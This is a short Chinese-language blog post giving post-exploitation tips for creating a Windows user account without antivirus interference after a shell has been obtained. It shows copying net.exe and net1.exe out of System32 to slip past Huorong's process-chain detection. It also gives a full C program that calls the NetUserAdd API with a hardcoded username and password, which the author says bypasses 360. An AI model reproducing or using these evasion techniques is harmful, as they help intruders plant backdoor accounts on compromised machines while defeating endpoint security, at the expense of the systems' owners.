绕过杀软NetUser的小tips

在拿了shell上线了的情况下,通过net user add新建用户经常会被杀软拦截拒绝访问,以比较常用的火绒和360为例,简单说一下绕过的小tips

某绒

可以看到通过net user命令新建用户,火绒拦了,检测的是cmd.exe去执行C:\Windows\System32\net.exe

把C:\Windows\System32\net.exe复制出来放到别的文件夹下,这里我放在test里面

重新执行net.exe user huorong 123 /add ,可以看到现在火绒检测的是net.exe去操作C:\Windows\System32\net1.exe

同理,把net1.exe复制出来去执行,成功执行了新建用户,且火绒没有提示

挺简单暴力的一个方式,综上可以看到火绒hook的是

cmd.exe -> C:\Windows\System32\net.exe -> C:\Windows\System32\net1.exe

某60

先使用正常的net user add添加用户,直接拦了

我们同上某绒的操作去绕过,发现绕过不去

net1.exe是调用win32api来进行新建用户,尝试写一个api看360有没有hook

#ifndef UNICODE    
#define UNICODE    
#endif    
#include  <stdio.h>  
#include  <windows.h>  
#include  <lm.h>  
#pragma comment(lib,"netapi32")    

int wmain(int argc, wchar_t* argv[])
{
	const wchar_t* username = L"bin123";	// username
	const wchar_t* password = L"Abc123123";	// password

	// 定义并初始化 USER_INFO_1 结构体,用于保存新用户的信息
	USER_INFO_1 ui;
	DWORD dwError = 0;
	ui.usri1_name = (wchar_t*)username; //设置用户名
	ui.usri1_password = (wchar_t*)password;//设置密码
	ui.usri1_priv = USER_PRIV_USER; //设置用户权限为普通用户
	ui.usri1_home_dir = NULL;
	ui.usri1_comment = NULL;
	ui.usri1_flags = UF_SCRIPT;
	ui.usri1_script_path = NULL;

	//调用Windows API函数NetuserAdd来添加新用户
	if (NetUserAdd(NULL, 1, (LPBYTE)&ui, &dwError) == NERR_Success) {
		printf("add user success\n");
	}
	else
	{
		printf("add user fail\n");
	}
	return 0;
}

生成解决方案后运行,可以看到直接绕过360新建用户

posted @ 2023-07-26 21:30  uein  阅读(495)  评论(0编辑  收藏  举报